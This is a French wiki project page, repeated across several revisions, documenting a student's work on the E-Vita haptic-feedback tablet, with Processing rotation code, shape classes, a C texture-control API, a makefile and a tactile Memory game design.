[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils Haut Niveau==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

==Boite à Outils Bas Niveau==

Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.

On manipule donc nos structure en C en rendant publique les méthodes :

int startEvita(); // Initialisation
void stopEvita();

void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2); //Définition forme géométrique où sera présente la texture : Taxtel
void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r); //Idem mais de manière elliptique
void disableTaxtTel(int id, int textureId); //Désactive le retour tactile pour la forme sélectionné

void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc); //Fonction définissant les texture possible : Signal Carré / Sinusoïde
void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);

void registerCallbackPressed(void (*myfonction) (int x, int y)); //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...
void registerCallbackDragged(void (*myfonction) (int x, int y));
void registerCallbackRelease(void (*myfonction)());
void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));
void registerCallbackTexture(void (*myfonction) (int signal, int period));

Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.

Et ci-dessous le makefile générant au choix une librairie statique/dynamique :

CC=gcc
AR=ar
EXEC=main
SOURCE=libTextureControl.c
OBJ=libTextureControl.o
STATIC=libTextureControl.a
DYNAMIC=libTextureControl.so
HEAD=libTextureControl.h

clean:
rm -rf *.o *.a *.so *.out

dynamic:$(DYNAMIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(DYNAMIC):$(OBJ)
gcc -shared -o $(DYNAMIC) $(OBJ)

$(OBJ):$(SOURCE)
gcc -c -fPIC $(SOURCE)

install:
sudo mv $(STATIC) /usr/lib
sudo mv $(DYNAMIC) /usr/lib
sudo mv $(HEAD) /usr/include

static:$(STATIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(STATIC):$(OBJ)
$(AR) rcs $(STATIC) $(OBJ)

== Application ==

Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.

Pour ceux, j'ai penser à réaliser le jeu "Memory".
Le jeu se présente ainsi :
*On dspose un nombre pair de cartes face cachée.
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.

J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.

On peut structurer le jeu ainsi :

*Initialisation du plateau de jeu (18 cartes face verso).
**Distribution aléatoire 18/2 textures
*Tant que toutes les paires ne sont pas trouvées
**Tirer la première carte
***Sentir le motif tactile
**Tirer la deuxième carte
***Sentir le motif tactile
**Valider
**Test des motifs
***Si texture équivalente -> Le joueur gagne 1 points, le nombre de coup joué prend +1 -> Les cartes sont retirés
***Si texture non-équivalente -> Le nombre de coup joué prend +1 -> les cartes sont remises faces verso.
*Fin tant que
*Affichage du nombre de coups joués + durée de la partie.

[[Fichier:Menu jeu.png|350px|thumb|center]
[[Fichier:Game.png|350px|thumb|center]]
[[Fichier:Pause.png|350px|thumb|center]]
[[Fichier:Win.png|350px|thumb|center]]

P42 Dispositif à retour tactile

2017-02-23T01:16:19Z

Pfitouss : /* Application */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils Haut Niveau==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

==Boite à Outils Bas Niveau==

Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.

On manipule donc nos structure en C en rendant publique les méthodes :

int startEvita(); // Initialisation
void stopEvita();

void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2); //Définition forme géométrique où sera présente la texture : Taxtel
void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r); //Idem mais de manière elliptique
void disableTaxtTel(int id, int textureId); //Désactive le retour tactile pour la forme sélectionné

void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc); //Fonction définissant les texture possible : Signal Carré / Sinusoïde
void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);

void registerCallbackPressed(void (*myfonction) (int x, int y)); //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...
void registerCallbackDragged(void (*myfonction) (int x, int y));
void registerCallbackRelease(void (*myfonction)());
void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));
void registerCallbackTexture(void (*myfonction) (int signal, int period));

Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.

Et ci-dessous le makefile générant au choix une librairie statique/dynamique :

CC=gcc
AR=ar
EXEC=main
SOURCE=libTextureControl.c
OBJ=libTextureControl.o
STATIC=libTextureControl.a
DYNAMIC=libTextureControl.so
HEAD=libTextureControl.h

clean:
rm -rf *.o *.a *.so *.out

dynamic:$(DYNAMIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(DYNAMIC):$(OBJ)
gcc -shared -o $(DYNAMIC) $(OBJ)

$(OBJ):$(SOURCE)
gcc -c -fPIC $(SOURCE)

install:
sudo mv $(STATIC) /usr/lib
sudo mv $(DYNAMIC) /usr/lib
sudo mv $(HEAD) /usr/include

static:$(STATIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(STATIC):$(OBJ)
$(AR) rcs $(STATIC) $(OBJ)

== Application ==

Afin de présenter la bibliothèque, j'ai développé une application mettant en valeur le retour tactile.

Pour ceux, j'ai penser à réaliser le jeu "Memory".
Le jeu se présente ainsi :
*On dspose un nombre pair de cartes face cachée.
*L'utilisateur en retourne une et découvre le symbole sur la face recto de la carte.
*L'utilisateur cherche donc la paire correspondante dans le jeu mais n'a qu'un seul essai avant que les deux cartes ne se retournent face verso.
*Grâce à sa mémoire et à la chance, il doit donc composé des paires de cartes qui se retirent du jeu quand une bonne pair est trouvé.

J'ai adapté le jeu, afin que ce ne soit pas des symboles qui s'affichent sur le recto de la carte mais bien une texture tactile.
À la vue des contraintes, l'utilisateur devra validé sa paire avec un bouton adéquate.

On peut structurer le jeu ainsi :

*Initialisation du plateau de jeu (18 cartes face verso).
**Distribution aléatoire 18/2 textures
*Tant que toutes les paires ne sont pas trouvées
**Tirer la première carte
***Sentir le motif tactile
**Tirer la deuxième carte
***Sentir le motif tactile
**Valider
**Test des motifs
***Si texture équivalente -> Le joueur gagne 1 points, le nombre de coup joué prend +1 -> Les cartes sont retirés
***Si texture non-équivalente -> Le nombre de coup joué prend +1 -> les cartes sont remises faces verso.
*Fin tant que
*Affichage du nombre de coups joués + durée de la partie.

[[Fichier:Menu_jeu.png|350px|thumb|center]
[[Fichier:Game.png|350px|thumb|center]]
[[Fichier:Pause.png|350px|thumb|center]]
[[Fichier:Win.png|350px|thumb|center]]

P42 Dispositif à retour tactile

2017-02-23T01:16:02Z

Pfitouss : /* Application */

=Contexte du sujet=
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).

C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.

=Objectif du sujet=
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.

==Protocole de communication OSC==

Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client.

Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle

Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé.
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.

Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.

==Retour des valeurs d'amplitude sur la plaque piezo==

Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en "dur" dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé.

Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement.

Signal Sinusoîdal -> sin(wt)
Signal Carré -> x(t) = 1 , 0 < t <= T et 0, T < t < 2T.
Signal dent de scie -> x(t) = t, 0 < t < 2T
Signal Dirac

Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.

=Cahier des charges=

Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.

Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.

=Avancé du travail=
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection.

[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]

Le code correspondant est un classique switch/case inscrit dans la fonction draw() :

fill(255, 0, 0);
switch (currentNumber){
case 1:
fill(255, 0, 0);
line(240,340,116,800-552);
break;

case 2:
fill(255, 0, 0);
line(240,340,239,800-676);
break;
case 3:
fill(255, 0, 0);
line(240,340,384,800-558);
break;

case 4:
fill(255, 0, 0);
line(240,340,381,800-372);
break;

case 5:
fill(255, 0, 0);
line(240,340,237,800-257);
break;
case 6:

fill(255, 0, 0);
line(240,340,98,800-372);
break;
}

Je décide donc de réaliser un cercle autour du bouton "OK" avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :

if (!creatingCode){
translate(240, 333); // On place le référentiel au centre du bouton "OK"

rotate(direction * millis() * 0.001 * TWO_PI / 1O.0); // Créer une rotation de 360° en 10 secondes.
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
line(75,0,90,0);
line(-75,0,-90,0);
line(0,75,0,90);
line(0,-75,0,-90);
}

Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.

Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :

int direction = 0; // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo
int nb_frame = 0; // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.
float phi = 0.; // Sert contient le calcul de la phase pour la rotation.

La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3.
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.

if (!creatingCode){
translate(240, 333); // Centrage sur "OK"
noFill();
strokeWeight(5);
ellipseMode(CENTER);
ellipse(0,0,145,145);
if (frameCount < nb_frame +60){ // Calcul de la position du premier segment
phi = direction * ((nb_frame-frameCount)/60.) * PI/3; // Le frameRate est fixé à 60 itérations/s
}else{
direction =0; // Reset de la variable d'appui
}
//Creation des segments
for (int i=0; i<6; i++){ // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle
pushMatrix();
rotate(phi + i*PI/3);
line(75,0,90,0);
popMatrix();
}
}

Une animation est disponible au lien suivant :
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]

==Boite à outils Haut Niveau==

Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.

Conception des classes représentant les motifs élémentaires.
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.
Conception des méthodes dessiner : permet de dessiner le motif élémentaire
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.

===La classe abstraite Tforme ===

abstract class Tforme{
String ensemble;
int motif;
void addMotif(int iMotif){
motif = iMotif;
}

void sendControl(){
println(motif);
}

abstract boolean isIn(int xpos, int ypos);
abstract void dessiner();

}

===La classe Trectangle===

class Trectangle extends Tforme{
int x1, y1, x2, y2;

Trectangle(int xpos, int ypos, int hauteur, int largeur){
x1 = xpos;
x2 = xpos + hauteur;
y1 = ypos;
y2 = ypos + largeur;
}
void dessiner(){
rect(x1,y1,x2,y2);
}

boolean isIn(int xpos, int ypos){
if (xpos > x1 && xpos < x2 && ypos > y1 && ypos < y2){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
// rajoute une entree dans la HashMap
}
}

===La classe Tcircle===

class Tcircle extends Tforme{
int x,y;
int radius;
Tcircle(int xpos, int ypos, int rayon){
x = xpos;
y = ypos;
radius = rayon;
}
void dessiner(){
ellipseMode(CENTER);
ellipse((float)x, (float)y, (float)radius, (float)radius);
}
boolean isIn(int xpos, int ypos){
float dist = sqrt(pow(x - xpos,2) + pow(y-ypos,2));
if (dist <= radius){
return true;
}else{
return false;
}
}

void setEnsemble(String ensemble){
this.ensemble = ensemble;
}
}

===Fonction de Rotation===

Il est facilement imaginable qu'un développeur aura besoin de manipuler ses objet dans l'espace et donc de vouloir en modifier leur angle.
L'outil processing permet de réalise une rotation via la commande

rotate()

Ayant utilisé plusieurs configuration, je ne parviens pas à obtenir une rotation depuis le centre de l'élément.

Photo 1

Malgrès mes essais avec l'option RectMode() qui permet de définir un rectangle depuis son centre, je n'aboutit toujours pas.

Photo 2

Il me semble donc obligatoire d'utiliser un peu de trigonométrie :

Photo table de vérité + Représentation schématique

==Boite à Outils Bas Niveau==

Afin de porter le développement vers le plus de langage possible, la boite à outils contient une base faite en C.
Cela permet grâce à des outils de type ''Java Nativ Interface'' de compiler la boite à outils bas niveau directement dans un langage plus adapté à la programmation graphique.

On manipule donc nos structure en C en rendant publique les méthodes :

int startEvita(); // Initialisation
void stopEvita();

void setTaxtTelRect(int id,int textureId, int x1, int y1, int x2, int y2); //Définition forme géométrique où sera présente la texture : Taxtel
void setTaxtTelEllipse(int id,int textureId, int x1, int y1, int x2, int y2, int r); //Idem mais de manière elliptique
void disableTaxtTel(int id, int textureId); //Désactive le retour tactile pour la forme sélectionné

void setTextureRect(int textureId,float offset,float amplitude,float period,float ratio,char* speedFunc); //Fonction définissant les texture possible : Signal Carré / Sinusoïde
void setTextureCos(int textureId,float offset,float amplitude,float period, char* speedFunc);

void registerCallbackPressed(void (*myfonction) (int x, int y)); //Fonction permettant de choisir la méthode d'entrée voulu : Ecran Tactile, Souris,...
void registerCallbackDragged(void (*myfonction) (int x, int y));
void registerCallbackRelease(void (*myfonction)());
void registerCallbackSpeed(void (*myfonction) (int speedX, int speedY));
void registerCallbackTexture(void (*myfonction) (int signal, int period));

Ces différentes fonction servirons de base pour tout programme utilisant la technologie du retour tactile.

Et ci-dessous le makefile générant au choix une librairie statique/dynamique :

CC=gcc
AR=ar
EXEC=main
SOURCE=libTextureControl.c
OBJ=libTextureControl.o
STATIC=libTextureControl.a
DYNAMIC=libTextureControl.so
HEAD=libTextureControl.h

clean:
rm -rf *.o *.a *.so *.out

dynamic:$(DYNAMIC)
$(CC) main.c -L/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -I/home/pierre/PFEEVITA/EvitaControl/pfitouss/ -lTextureControl -lm

$(DYNAMIC):$(OBJ)
gcc -shared -o $(DYNAMIC) $(OBJ)

$(OBJ):$(SOURCE)
gcc -c -fPIC $(SOURCE)

install:
sudo mv $(STATIC) /usr/lib
